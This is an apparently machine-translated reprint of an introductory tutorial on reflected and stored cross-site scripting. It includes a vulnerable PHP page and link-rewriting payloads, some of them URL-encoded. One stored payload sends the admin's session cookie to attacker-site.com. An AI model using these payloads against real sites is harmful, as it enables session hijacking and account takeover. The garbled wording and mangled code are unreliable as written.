XSS Attack Primer "reprint"

Getting Started with XSS attacks

XSS represents the Cross site Scripting (span scripting attack), which is similar to a SQL injection attack where SQL statements are used as user input to query/modify/delete data, and in an XSS attack, by inserting a malicious script, Implement control of the user's browser.

There are two types of XSS attacks:

1. Non-persistent attacks
2. Long-lasting attacks

Let's look at two types of XSS attacks with specific examples.

1. Non-persistent XSS attacks

As the name implies, a non-persistent XSS attack is a one-time, affecting only the Times of page access. A non-persistent XSS attack requires the user to access a link that has been tampered with by the attacker, and when the user accesses the link, the inserted attack script is executed by the user's browser to achieve the purpose of the attack.

Suppose you have the following index.php pages:

<?php$name = $_get[' name '];echo "Welcome $name <br>"; echo "<a href=" http://www.cnblogs.com/bangerlee/" >click to Download</a> ";? >

This page displays two lines of information:

• Gets the ' name ' parameter from the URI and displays it on the page
• Show a link to a URL

At this point, when the attacker gives the following URL link:

Index.php?name=guest<script>alert (' attacked ') </script>

When the user clicks on the link, the following HTML code will be generated, with the ' attacked ' Alert box popup:

Welcome Guest<script>alert (' attacked ') </script><br><a href= ' http://www.cnblogs.com/ bangerlee/' >click to download</a>

In addition to inserting the alert code, an attacker could use the following URL to implement the purpose of modifying the link:

Index.php?name=
<script>
Window.onload = function () {
var link=document.getelementsbytagname ("a"); link[0].href= "http://attacker-site.com/";}
</script>

When the user clicks on the URL provided by the attacker above, the index.php page is inserted into the script, the page source code is as follows:

Welcome <script>window.onload = function () {var link=document.getelementsbytagname ("a"); link[0].href= "http:// attacker-site.com/";} </script><br><a href= ' http://www.cnblogs.com/bangerlee/' >click to download</a>

When the user clicks "Click to Download", it jumps to the link provided by the attacker.

For the URL used for the attack, the attacker would not normally use the above readable form, but instead convert it to an ASCII code, the following URL is also used to implement the link address change:

index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f% 6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54 %61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74% 61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e

2. Persistent XSS attack

Persistent XSS attacks store the attacker's data on the server side, and the attack behavior will persist with the attack data. Let's take a look at a persistent XSS attack to get an instance of session ID.

Session Background Knowledge

We know that HTTP is a stateless protocol, and that all requests/responses are independent and state information is not saved. However, in some scenarios we need to maintain state information, such as after the user logs on to the Web application, and then a certain amount of time, the user will log in again, should not need to enter the user name/password for authentication.

At this time we use the cookie and session to resolve the state maintenance problem, when the user first logged in, the server to create a session ID for the user, while transmitting to the browser a Cookie,cookie save session connection used in the data, session ID as a conversation identifier, The browser's subsequent requests are based on the session ID.

An attacker could provide a link to an attacker who, when clicked on the link, sends a message to the attacker's own server that holds the user's session ID, thus stealing the user's session ID and obtaining the user's execution privileges.

The following login.php, which is based on user_name to find the corresponding Pass_word in the data, then compares the password provided by the user with the Pass_word obtained from the database, and if successful, creates a corresponding user_name Session

View Code

The following home.php, depending on whether the user logged in is admin or other user, display different content, for the admin, it lists all users, for other users, provide a form containing the input box, you can insert new user name information in the database.

View Code

Note that in the above scenario, the admin and other users have different permissions settings, admin can see all the user list, below we see how to get admin session ID, so that other users can also get admin permissions.

First, the attacker logs in with an ordinary user, and then submits the following data in the input box:

<a href=# onclick=\ "document.location=\ ' http://attacker-site.com/xss.php?c=\ ' +escape\ (document.cookie\) \;\" >Bangerlee</a>

The attacker submits the stripe <a> tag data, which will be stored in the database, and when the Admin user is logged in, a list of users containing "Bangerlee" will be displayed if the Admin user clicks "Bangerlee" and the Attacker-site.com "On the server where the attacker can steal the Session-id of admin:

Xss.php?c=phpsessid%3dvmcsjsgear6gsogpu7o2imr9f3

With this session-id, an attacker can gain access to the Admin user within the lifetime of the session, and since the attack data has been added to the database, the attack is likely to take effect and be persistent as long as the attack data has not been deleted.

Of course, not only persistent XSS attack can steal session ID, user's cookie information, with non-persistent XSS can also, as long as the user to click on a link, the Document.cookie information to the designated server, These are only examples of persistent XSS attacks.

XSS Attack Primer "reprint"